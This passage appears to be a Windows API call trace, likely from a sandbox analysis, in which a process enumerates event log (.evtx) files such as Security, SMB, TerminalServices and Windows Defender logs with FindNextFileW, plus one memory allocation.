	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1
	[0082.787] VirtualAlloc (lpAddress=0xc00048e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00048e000
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1
	[0082.787] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1
	[0082.788] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1
	[0082.788] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1
	[0082.788] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1
	[0082.788] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1
	[0082.788] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1
	[0082.788] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1
	[0082.789] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1
	[0082.790] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1
	[0082.790] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1
	[0082.790] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1
	[0082.790] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1
	[0082.790] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1
	[0082.790] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1
